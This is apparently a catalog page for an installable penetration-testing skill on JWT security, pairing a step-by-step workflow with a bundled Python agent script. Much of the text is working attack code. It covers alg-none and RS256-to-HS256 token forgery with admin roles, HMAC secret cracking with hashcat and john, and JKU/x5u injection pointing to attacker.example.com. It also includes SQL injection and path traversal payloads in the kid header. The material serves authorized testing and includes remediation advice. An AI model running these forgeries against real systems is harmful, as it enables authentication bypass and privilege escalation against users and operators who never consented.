web application security

Testing JWT Token Security

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

authenticationburpsuitejwtpenetration-testingtoken-securityweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (pip install pyjwt)
  • Hashcat: For brute-forcing HMAC secrets (apt install hashcat)
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application

Workflow

Step 1: Decode and Analyze the JWT Structure

Extract and examine the header, payload, and signature components.

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
 
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
 
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
 
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
 
# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Step 2: Test Algorithm None Attack

Attempt to forge tokens by setting the algorithm to "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
 
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
 
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
 
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
 
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .
 
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Step 3: Test Algorithm Confusion (RS256 to HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
 
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
 
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
 
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
 
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()
 
# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}
 
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
 
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Step 4: Brute-Force HMAC Secret

If HS256 is used, attempt to crack the signing secret.

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
 
# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
 
# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
 
# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
 
secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF

Step 5: Test JWT Claim Manipulation and Injection

Modify JWT claims to escalate privileges or bypass authorization.

# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin
 
# Test common claim attacks:
 
# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL
 
# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)
 
# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
 
# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
 
# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "admin@target.com" \
  -pc role -pv "superadmin"

Step 6: Test Token Lifetime and Revocation

Assess token expiration enforcement and revocation capabilities.

# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
 
secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
 
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
 
# Test token with far-future expiration
python3 << 'PYEOF'
import jwt
 
secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
 
# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout
 
# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

Key Concepts

Concept Description
Algorithm None Attack Removing signature verification by setting alg to none
Algorithm Confusion Switching from RS256 to HS256 and signing with the public key as HMAC secret
HMAC Brute Force Cracking weak HS256 signing secrets using wordlists or brute force
JKU/x5u Injection Pointing JWT header URLs to attacker-controlled key servers
KID Injection Exploiting SQL injection or path traversal in the Key ID header parameter
Claim Tampering Modifying payload claims (role, sub, permissions) after compromising the signing key
Token Revocation The ability (or inability) to invalidate tokens before their expiration
JWE vs JWS JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity)

Tools & Systems

Tool Purpose
jwt_tool Comprehensive JWT testing toolkit with automated attack modules
Burp JWT Editor Burp Suite extension for real-time JWT manipulation
Hashcat GPU-accelerated HMAC secret brute-forcing (mode 16500)
John the Ripper CPU-based JWT secret cracking
PyJWT Python library for programmatic JWT creation and manipulation
jwt.io Online JWT decoder for quick analysis (do not paste production tokens)

Common Scenarios

Scenario 1: Algorithm None Bypass

The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.

Scenario 2: Weak HMAC Secret

The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.

Scenario 3: Algorithm Confusion on SSO

An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.

Scenario 4: KID SQL Injection

The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.

Output Format

## JWT Security Finding
 
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
 
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
 
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
 
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
 
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.1 KB

API Reference: Testing JWT Token Security

PyJWT Library

Installation

pip install PyJWT

Encoding (Creating Tokens)

import jwt
token = jwt.encode(payload, secret, algorithm="HS256")

Decoding

# Without verification (for analysis)
payload = jwt.decode(token, options={"verify_signature": False})
 
# With verification
payload = jwt.decode(token, secret, algorithms=["HS256"])

Supported Algorithms

Algorithm Type Description
HS256 HMAC SHA-256 symmetric signing
HS384 HMAC SHA-384 symmetric signing
HS512 HMAC SHA-512 symmetric signing
RS256 RSA SHA-256 asymmetric signing
RS384 RSA SHA-384 asymmetric signing
ES256 ECDSA P-256 curve signing

JWT Attack Types

Attack Description Severity
Algorithm None Set alg to "none", remove signature Critical
Algorithm Confusion Switch RS256 to HS256, sign with public key Critical
HMAC Brute Force Crack weak signing secrets Critical
JKU Injection Point JWK Set URL to attacker server Critical
KID Injection SQL injection or path traversal in Key ID Critical
Claim Tampering Modify role/sub claims after key compromise High
Expired Token Reuse Use tokens past expiration High
No Revocation Tokens valid after logout/password change High

JWT Structure

Header.Payload.Signature
base64url({"alg":"HS256","typ":"JWT"}).base64url({"sub":"1","role":"user"}).HMACSHA256(...)

Standard Claims

Claim Description
iss Token issuer
sub Subject (user identifier)
aud Intended audience
exp Expiration time (Unix timestamp)
nbf Not valid before time
iat Issued at time
jti Unique token identifier

References

Scripts 1

agent.py9.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing JWT token security during authorized assessments."""

import jwt
import json
import hmac
import hashlib
import base64
import os
import argparse
import requests
import urllib3
from datetime import datetime, timedelta, timezone
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def decode_jwt(token):
    """Decode and display JWT header and payload without verification."""
    parts = token.split(".")
    if len(parts) != 3:
        print("[-] Invalid JWT format (expected 3 parts)")
        return None, None

    def b64_decode(data):
        padding = 4 - len(data) % 4
        data += "=" * padding
        return base64.urlsafe_b64decode(data)

    header = json.loads(b64_decode(parts[0]))
    payload = json.loads(b64_decode(parts[1]))

    print("[*] JWT Header:")
    print(json.dumps(header, indent=2))
    print("\n[*] JWT Payload:")
    print(json.dumps(payload, indent=2))

    if "exp" in payload:
        exp_time = datetime.fromtimestamp(payload["exp"], tz=timezone.utc)
        now = datetime.now(timezone.utc)
        if exp_time < now:
            print(f"\n  [!] Token EXPIRED at {exp_time.isoformat()}")
        else:
            remaining = exp_time - now
            print(f"\n  [+] Token expires at {exp_time.isoformat()} ({remaining} remaining)")
    return header, payload


def test_alg_none(token, target_url=None):
    """Test algorithm none attack - forge token without signature."""
    print("\n[*] Testing algorithm 'none' attack...")
    parts = token.split(".")
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
    findings = []

    for alg in ["none", "None", "NONE", "nOnE"]:
        header = base64.urlsafe_b64encode(
            json.dumps({"alg": alg, "typ": "JWT"}).encode()
        ).rstrip(b"=").decode()
        payload_data["role"] = "admin"
        payload_encoded = base64.urlsafe_b64encode(
            json.dumps(payload_data).encode()
        ).rstrip(b"=").decode()
        forged = f"{header}.{payload_encoded}."

        if target_url:
            try:
                resp = requests.get(target_url, headers={"Authorization": f"Bearer {forged}"},
                                    timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
                if resp.status_code == 200:
                    findings.append({
                        "type": "ALG_NONE", "alg_value": alg,
                        "status": resp.status_code, "severity": "CRITICAL",
                    })
                    print(f"  [!] VULNERABLE: alg={alg} accepted (status {resp.status_code})")
                else:
                    print(f"  [+] alg={alg} rejected (status {resp.status_code})")
            except requests.RequestException:
                continue
        else:
            print(f"  [*] Forged token (alg={alg}): {forged[:80]}...")
    return findings


def test_hmac_brute_force(token, wordlist_path):
    """Brute force HMAC secret using a wordlist."""
    print(f"\n[*] Brute forcing HMAC secret with {wordlist_path}...")
    parts = token.split(".")
    header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
    alg = header.get("alg", "HS256")

    if alg not in ("HS256", "HS384", "HS512"):
        print(f"  [-] Algorithm {alg} is not HMAC-based, skipping")
        return None

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = base64.urlsafe_b64decode(parts[2] + "==")
    hash_func = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}[alg]

    try:
        with open(wordlist_path, "r", errors="ignore") as f:
            for i, line in enumerate(f):
                secret = line.strip()
                if not secret:
                    continue
                computed = hmac.new(secret.encode(), signing_input, hash_func).digest()
                if hmac.compare_digest(computed, signature):
                    print(f"  [!] SECRET FOUND: '{secret}' (attempt {i+1})")
                    return secret
                if (i + 1) % 10000 == 0:
                    print(f"  [*] Tried {i+1} secrets...")
    except FileNotFoundError:
        print(f"  [-] Wordlist not found: {wordlist_path}")
    print("  [-] Secret not found in wordlist")
    return None


def forge_token(secret, claims, algorithm="HS256"):
    """Create a forged JWT with custom claims."""
    print(f"\n[*] Forging token with claims: {claims}")
    if "exp" not in claims:
        claims["exp"] = int((datetime.now(timezone.utc) + timedelta(hours=24)).timestamp())
    token = jwt.encode(claims, secret, algorithm=algorithm)
    print(f"  [+] Forged token: {token[:80]}...")
    return token


def test_expired_token(token, target_url):
    """Test if expired tokens are still accepted."""
    print(f"\n[*] Testing expired token acceptance...")
    parts = token.split(".")
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
    if "exp" in payload and payload["exp"] < datetime.now(timezone.utc).timestamp():
        try:
            resp = requests.get(target_url, headers={"Authorization": f"Bearer {token}"},
                                timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
            if resp.status_code == 200:
                print(f"  [!] VULNERABLE: Expired token accepted (status {resp.status_code})")
                return [{"type": "EXPIRED_TOKEN_ACCEPTED", "severity": "HIGH"}]
            else:
                print(f"  [+] Expired token rejected (status {resp.status_code})")
        except requests.RequestException:
            pass
    else:
        print("  [*] Token not expired, skipping test")
    return []


def test_token_after_logout(token, target_url, logout_url):
    """Test if token is still valid after logout."""
    print(f"\n[*] Testing token validity after logout...")
    headers = {"Authorization": f"Bearer {token}"}
    try:
        pre = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
        if pre.status_code != 200:
            print("  [-] Token not valid pre-logout, skipping")
            return []
        requests.post(logout_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
        post = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
        if post.status_code == 200:
            print(f"  [!] VULNERABLE: Token still valid after logout")
            return [{"type": "NO_TOKEN_REVOCATION", "severity": "HIGH"}]
        else:
            print(f"  [+] Token properly revoked after logout")
    except requests.RequestException:
        pass
    return []


def check_jwks_endpoint(base_url):
    """Check for JWKS and OpenID configuration endpoints."""
    print(f"\n[*] Checking for JWKS/OIDC endpoints...")
    endpoints = [
        "/.well-known/jwks.json", "/.well-known/openid-configuration",
        "/oauth/certs", "/auth/keys", "/.well-known/keys",
    ]
    for ep in endpoints:
        url = urljoin(base_url, ep)
        try:
            resp = requests.get(url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true")  # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
            if resp.status_code == 200:
                print(f"  [+] Found: {ep}")
                data = resp.json()
                if "keys" in data:
                    for key in data["keys"]:
                        print(f"    Key ID: {key.get('kid', 'N/A')} | Alg: {key.get('alg', 'N/A')}")
        except (requests.RequestException, json.JSONDecodeError):
            continue


def generate_report(findings, output_path):
    """Generate JWT security assessment report."""
    report = {
        "assessment_date": datetime.now().isoformat(),
        "total_findings": len(findings),
        "findings": findings,
    }
    with open(output_path, "w") as fh:
        json.dump(report, fh, indent=2)
    print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")


def main():
    parser = argparse.ArgumentParser(description="JWT Token Security Testing Agent")
    parser.add_argument("token", help="JWT token to test")
    parser.add_argument("--target-url", help="URL to test forged tokens against")
    parser.add_argument("--base-url", help="Base URL for JWKS discovery")
    parser.add_argument("--wordlist", help="Wordlist for HMAC brute force")
    parser.add_argument("--logout-url", help="Logout URL for revocation testing")
    parser.add_argument("--forge-claims", help="JSON claims to forge (requires --secret)")
    parser.add_argument("--secret", help="Known signing secret for forging")
    parser.add_argument("-o", "--output", default="jwt_report.json")
    args = parser.parse_args()

    print("[*] JWT Token Security Assessment")
    findings = []
    header, payload = decode_jwt(args.token)
    if args.base_url:
        check_jwks_endpoint(args.base_url)
    findings.extend(test_alg_none(args.token, args.target_url))
    if args.wordlist:
        secret = test_hmac_brute_force(args.token, args.wordlist)
        if secret:
            findings.append({"type": "WEAK_HMAC_SECRET", "secret": secret, "severity": "CRITICAL"})
    if args.target_url:
        findings.extend(test_expired_token(args.token, args.target_url))
    if args.target_url and args.logout_url:
        findings.extend(test_token_after_logout(args.token, args.target_url, args.logout_url))
    if args.secret and args.forge_claims:
        claims = json.loads(args.forge_claims)
        forge_token(args.secret, claims)
    generate_report(findings, args.output)


if __name__ == "__main__":
    main()
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